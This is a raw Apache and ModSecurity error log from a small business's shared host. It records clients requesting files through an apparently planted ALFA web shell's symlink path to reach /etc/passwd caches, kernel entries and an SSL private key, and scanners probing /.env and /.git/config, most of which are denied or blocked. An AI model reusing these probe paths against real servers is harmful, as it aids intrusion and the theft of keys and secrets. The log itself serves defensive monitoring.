[Sat Oct 24 20:15:50.138252 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 44.195.50.71:6628] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/proc/self/cwd/etc/passwd.nouids.cache
[Sat Oct 24 20:15:54.160761 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.71.218.25:40707] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:16:14.496030 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.223.134.5:1584] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:16:22.137361 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 3.94.157.25:36986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/0000:00:03.0/subsystem/drivers/xen-platform-pci/unbind
[Sat Oct 24 20:16:46.144616 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 23.21.250.48:52800] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:16:50.134950 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 18.213.102.186:8215] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:17:15.411745 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 85.208.96.204:11364] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:17:26.264163 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.156.55.147:24161] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:17:30.181438 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 50.16.216.166:43759] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/ata_port/ata1/device/host0/subsystem/devices/host1/target1:0:0/subsystem/drivers/sr/bind
[Sat Oct 24 20:17:50.124067 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.205.74.196:39809] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:17:54.350284 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.208.193.63:46005] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:17:58.255111 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 100.27.153.9:31645] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:03/physical_node/driver/0000:00:02.0/driver/unbind
[Sat Oct 24 20:18:10.153018 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.210.58.238:47061] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:18:18.184220 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 35.169.119.108:59990] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:18:30.267450 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 100.28.49.152:23899] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/event1/subsystem/input1/subsystem/input3/device/driver/uevent
[Sat Oct 24 20:18:42.164863 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 54.235.172.96:19937] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:18:46.370519 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 52.3.102.51:34879] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:18:55.610688 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.11:11480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/reclaim_account
[Sat Oct 24 20:19:02.265679 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.235.191.179:56701] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:19:16.444634 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.12:11728] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/anon_vma_chain/store_user
[Sat Oct 24 20:19:22.194701 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 184.73.167.217:5818] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node1/firmware_node/subsystem/uevent
[Sat Oct 24 20:19:26.348872 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 184.73.195.18:63186] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event3/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/rom
[Sat Oct 24 20:19:41.641866 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 185.191.171.13:30290] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_fib_trie/ctor
[Sat Oct 24 20:19:42.130597 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 34.238.45.183:57184] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:19:46.200753 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.84.147.79:21246] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:19:58.256913 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 18.214.124.6:52025] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/devices/0000:00:05.0/subsystem/drivers/ehci-pci/bind
[Sat Oct 24 20:20:13.492734 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 185.191.171.7:14250] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fs_cache/partial
[Sat Oct 24 20:20:16.277590 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 185.191.171.5:18012] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:20:26.165966 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.225.148.123:60559] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:20:46.232937 2026] [core:error] [pid 2724376:tid 2724376] (13)Permission denied: [client 185.191.171.10:32280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_nat/sections/__ex_table
[Sat Oct 24 20:20:48.699277 2026] [security2:error] [pid 2693035:tid 2693035] [client 16.216.88.54:24576] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nsswitch.conf"] [unique_id "at1LYN3lMH_Ldre-PZttlwAAACk"]
[Sat Oct 24 20:20:48.699733 2026] [security2:error] [pid 2693035:tid 2693035] [client 16.216.88.54:24576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nsswitch.conf"] [unique_id "at1LYN3lMH_Ldre-PZttlwAAACk"]
[Sat Oct 24 20:20:48.700033 2026] [security2:error] [pid 2693035:tid 2693035] [client 16.216.88.54:24576] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/nsswitch.conf"] [unique_id "at1LYN3lMH_Ldre-PZttlwAAACk"]
[Sat Oct 24 20:20:49.775279 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 185.191.171.12:42596] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:20:54.155944 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.204.12.115:24732] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:21:02.152129 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.70.138.176:4669] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:21:30.275890 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 35.153.86.200:30442] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:21:42.143560 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.87.62.248:18906] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:22:06.163757 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.235.172.96:8261] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:22:18.300342 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 34.225.24.180:24186] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:22:34.231177 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.156.55.147:39670] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:22:38.157686 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.2.83.227:39751] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:22:46.251033 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.15:58276] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-4k/align
[Sat Oct 24 20:22:57.205967 2026] [security2:error] [pid 2707162:tid 2707162] [client 43.159.143.190:36208] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/plantas1/"] [unique_id "at1L4XxUk1Q9Uwuht9UERwAAAAE"]
[Sat Oct 24 20:23:06.453069 2026] [ssl:error] [pid 2724376:tid 2724376] (70014)End of file found: [client 44.194.134.53:8021] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:23:06.453317 2026] [security2:error] [pid 2724376:tid 2724376] [client 44.194.134.53:8021] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:07/subsystem/devices/device:05/physical_node/virtio1/block/vda/queue/chunk_sectors"] [unique_id "at1L6q7eSgqEqaOPQgT7-gAAAAI"]
[Sat Oct 24 20:23:06.453353 2026] [security2:error] [pid 2724376:tid 2724376] [client 44.194.134.53:8021] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:07/subsystem/devices/device:05/physical_node/virtio1/block/vda/queue/chunk_sectors"] [unique_id "at1L6q7eSgqEqaOPQgT7-gAAAAI"]
[Sat Oct 24 20:23:10.205134 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.204.71.8:43039] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:23:14.282242 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.84.147.79:11780] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:23:18.265606 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.83.56.1:7373] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:23:30.168324 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.221.203.24:27287] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:23:34.174577 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.226.34.98:16683] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:23:36.985479 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 85.208.96.205:44364] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/usersize
[Sat Oct 24 20:23:42.301746 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.222.85.38:9928] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:23:46.416910 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.225.148.123:22072] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:23:49.033984 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 85.208.96.195:52878] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_reject_ipv6/sections/__kcrctab_gpl
[Sat Oct 24 20:23:54.391791 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.224.215.150:2037] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:24:18.182172 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.235.172.108:41971] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:24:22.215989 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 34.197.28.78:24453] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty0/subsystem/ptmx/subsystem/ttyS2/xmit_fifo_size
[Sat Oct 24 20:24:23.218314 2026] [security2:error] [pid 2724376:tid 2724376] [client 85.208.96.203:24052] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c13d1_a3055_7235e5b38c2fa047e168271323cb3682.key"] [unique_id "at1MN67eSgqEqaOPQgT7_QAAAAI"]
[Sat Oct 24 20:24:23.218783 2026] [security2:error] [pid 2724376:tid 2724376] [client 85.208.96.203:24052] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c13d1_a3055_7235e5b38c2fa047e168271323cb3682.key"] [unique_id "at1MN67eSgqEqaOPQgT7_QAAAAI"]
[Sat Oct 24 20:24:23.219202 2026] [security2:error] [pid 2724376:tid 2724376] [client 85.208.96.203:24052] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/c13d1_a3055_7235e5b38c2fa047e168271323cb3682.key"] [unique_id "at1MN67eSgqEqaOPQgT7_QAAAAI"]
[Sat Oct 24 20:24:26.540843 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 18.206.47.187:51020] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:24:34.304802 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.203.237.170:53198] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:24:38.595097 2026] [security2:error] [pid 2707162:tid 2707162] [client 130.12.180.164:31100] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "zacson3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1MRnxUk1Q9Uwuht9UESwAAAAE"]
[Sat Oct 24 20:24:38.595381 2026] [security2:error] [pid 2707162:tid 2707162] [client 130.12.180.164:31100] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "zacson3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1MRnxUk1Q9Uwuht9UESwAAAAE"]
[Sat Oct 24 20:24:38.595592 2026] [security2:error] [pid 2707162:tid 2707162] [client 130.12.180.164:31100] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "zacson3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1MRnxUk1Q9Uwuht9UESwAAAAE"]
[Sat Oct 24 20:24:38.689663 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1MRjKiZtbKEGWJKoLVVQAAACE"]
[Sat Oct 24 20:24:38.689919 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1MRjKiZtbKEGWJKoLVVQAAACE"]
[Sat Oct 24 20:24:38.690239 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at1MRjKiZtbKEGWJKoLVVQAAACE"]
[Sat Oct 24 20:24:38.828272 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/index.html"] [unique_id "at1MRjKiZtbKEGWJKoLVVgAAACE"]
[Sat Oct 24 20:24:38.828312 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/index.html"] [unique_id "at1MRjKiZtbKEGWJKoLVVgAAACE"]
[Sat Oct 24 20:24:38.984028 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1MRjKiZtbKEGWJKoLVVwAAACE"]
[Sat Oct 24 20:24:38.984252 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1MRjKiZtbKEGWJKoLVVwAAACE"]
[Sat Oct 24 20:24:38.984590 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1MRjKiZtbKEGWJKoLVVwAAACE"]
[Sat Oct 24 20:24:39.127614 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1MRzKiZtbKEGWJKoLVWAAAACE"]
[Sat Oct 24 20:24:39.127886 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1MRzKiZtbKEGWJKoLVWAAAACE"]
[Sat Oct 24 20:24:39.128205 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at1MRzKiZtbKEGWJKoLVWAAAACE"]
